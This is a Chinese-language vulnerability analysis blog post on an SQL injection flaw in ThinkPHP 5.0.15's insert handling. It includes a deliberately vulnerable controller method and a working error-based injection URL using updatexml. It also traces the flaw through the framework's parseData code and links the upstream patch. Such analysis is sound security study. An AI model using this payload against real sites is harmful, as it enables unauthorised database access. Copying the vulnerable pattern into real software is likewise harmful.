ThinkPHP 5.0.x SQL注入分析

前言php

  前段時間,晴天師傅在朋友圈發了一張ThinkPHP 注入的截圖。最近幾天忙於找工做的事情,沒來得及看。趁着中午趕忙搭起環境分析一波。Think PHP就不介紹了,搞PHP的都應該知道。git

 

環境搭建github

  本文中的測試環境爲ThinkPHP 5.0.15的版本。下載,解壓好之後,開始配置。首先開啓debug,方便定位問題所在。修改application\config.php, app_debug和app_trace都改爲true。而後建立數據庫,而且修改application\database.php爲本身數據庫的配置。sql

  我這裏建立數據庫須要的sql文件:thinkphp

create table `user` (
  `uid` int(10) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL DEFAULT '',
  `password` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`uid`)
)ENGINE=InnoDB DEFAULT CHARSET=UTF8;

  而後咱們找到application\index\controller\Index.php這個文件,也就是咱們的控制器文件,而後添加以下方法:數據庫

  

    public function sqli() {
        // 從GET數組方式獲取用戶信息
        $user = input('get.username/a');
        // 實例化數據庫類而且調用insert方法進行數據庫插入操做
        db('user')->where(['uid' =>1])->insert(['username' => $user]);
    }

 

漏洞復現數組

 

而後咱們訪問:http://127.0.0.1/thinkphp_5.0.15_full/public/index.php/index/index/sqli?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=233app

注意這裏的路徑的問題,ThinkPHP的默認入口文件在public目錄下的index.php。具體能夠自行跟進。框架

而後咱們能夠看到已經成功查詢出當前數據庫的信息:函數

 

漏洞分析:

  咱們重點來看報錯的堆棧信息:

 1 in Connection.php line 456
 2 at Connection->execute('INSERT INTO `user` (...', []) in Query.php line 241
 3 at Query->execute('INSERT INTO `user` (...', []) in Query.php line 2095
 4 at Query->insert(['username' => ['inc', 'updatexml(1,concat(0...', '233']]) in Index.php line 15
 5 at Index->sqli()
 6 at ReflectionMethod->invokeArgs(object(Index), []) in App.php line 343
 7 at App::invokeMethod([object(Index), 'sqli'], []) in App.php line 595
 8 at App::module(['index', 'index', 'sqli'], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...], null) in App.php line 457
 9 at App::exec(['type' => 'module', 'module' => ['index', 'index', 'sqli']], ['app_host' => '', 'app_debug' => true, 'app_trace' => true, ...]) in App.php line 139
10 at App::run() in start.php line 19
11 at require('D:\phpstudy\WWW\thin...') in index.php line 17

 

很明顯到第五行之後的部分都是框架初始化的部分,咱們能夠略過。感興趣能夠自行研究。咱們重點關心後續SQL執行的操做。

咱們看到在第五行調用Index類中的sqli方法的時候調用了Query類的insert方法,這個類在 thinkphp\library\think\db\Query.php, 2079行。而後我打印這裏傳入的第一個參數,也就是參數表中的$data參數,結果以下:

array(1) { ["username"]=> array(3) { [0]=> string(3) "inc" [1]=> string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)" [2]=> string(3) "233" } }

而後咱們傳入的username數組。而後咱們跟蹤整個數據流的傳遞過程。insert函數中首先進行的時候$options = $this->parseExpress();註釋裏邊寫的很清楚了,分析查詢表達式,咱們重點關心data數據的傳遞流程。

 1     public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
 2     {
 3         // var_dump($data);exit();
 4         // 分析查詢表達式
 5         $options = $this->parseExpress();
 6         $data    = array_merge($options['data'], $data);
 7         var_dump($data);exit();
 8         // 生成SQL語句
 9         $sql = $this->builder->insert($data, $options, $replace);
10         // 獲取參數綁定
11         $bind = $this->getBind();
12         if ($options['fetch_sql']) {
13             // 獲取實際執行的SQL語句
14             return $this->connection->getRealSql($sql, $bind);
15         }
16 
17         // 執行操做
18         $result = 0 === $sql ? 0 : $this->execute($sql, $bind);
19         if ($result) {
20             $sequence  = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
21             $lastInsId = $this->getLastInsID($sequence);
22             if ($lastInsId) {
23                 $pk = $this->getPk($options);
24                 if (is_string($pk)) {
25                     $data[$pk] = $lastInsId;
26                 }
27             }
28             $options['data'] = $data;
29             $this->trigger('after_insert', $options);
30 
31             if ($getLastInsID) {
32                 return $lastInsId;
33             }
34         }
35         return $result;
36     }

在合併數組以後,$data的內容爲,

array(1) {
  ["username"]=>
  array(3) {
    [0]=>
    string(3) "inc"
    [1]=>
    string(39) "updatexml(1,concat(0x7e,user(),0x7e),1)"
    [2]=>
    string(3) "233"
  }
}

而後生成sql,也就是以下操做:

$sql = $this->builder->insert($data, $options, $replace);

在這步執行完成之後,打印一下sql。結果以下:

string(85) "INSERT INTO `user` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+233) "

至此,咱們的漏洞定位已經完成。在builder類中調用insert方法時候的問題,咱們跟進就行了:

    public function insert(array $data, $options = [], $replace = false)
    {
        // 分析並處理數據
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }
        $fields = array_keys($data);
        $values = array_values($data);

        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table'], $options),
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

        return $sql;
    }

咱們看到首先進行的操做是

$data = $this->parseData($data, $options);

繼續跟進,在parseData函數中,對$data進行了遍歷,而後若是val的第一個元素爲inc,dec或者exp都會進入拼接。而後生成sql。

代碼以下:

    protected function parseData($data, $options)
    {
        if (empty($data)) {
            return [];
        }

        // 獲取綁定信息
        $bind = $this->query->getFieldsBind($options['table']);
        if ('*' == $options['field']) {
            $fields = array_keys($bind);
        } else {
            $fields = $options['field'];
        }

        $result = [];
        foreach ($data as $key => $val) {
            $item = $this->parseKey($key, $options);
            if (is_object($val) && method_exists($val, '__toString')) {
                // 對象數據寫入
                $val = $val->__toString();
            }
            if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
                if ($options['strict']) {
                    throw new Exception('fields not exists:[' . $key . ']');
                }
            } elseif (is_null($val)) {
                $result[$item] = 'NULL';
            } elseif (is_array($val) && !empty($val)) {
                switch ($val[0]) {
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                    case 'inc':
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;
                }
            } elseif (is_scalar($val)) {
                // 過濾非標量數據
                if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                    $result[$item] = $val;
                } else {
                    $key = str_replace('.', '_', $key);
                    $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                    $result[$item] = ':data__' . $key;
                }
            }
        }
        return $result;
    }

接着在insert方法中進行字符替換,而後返回最終執行的sql語句。

 

參考文章:

【先知社區】https://xz.aliyun.com/t/2257

 【Github補丁】https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

相關文章
相關標籤/搜索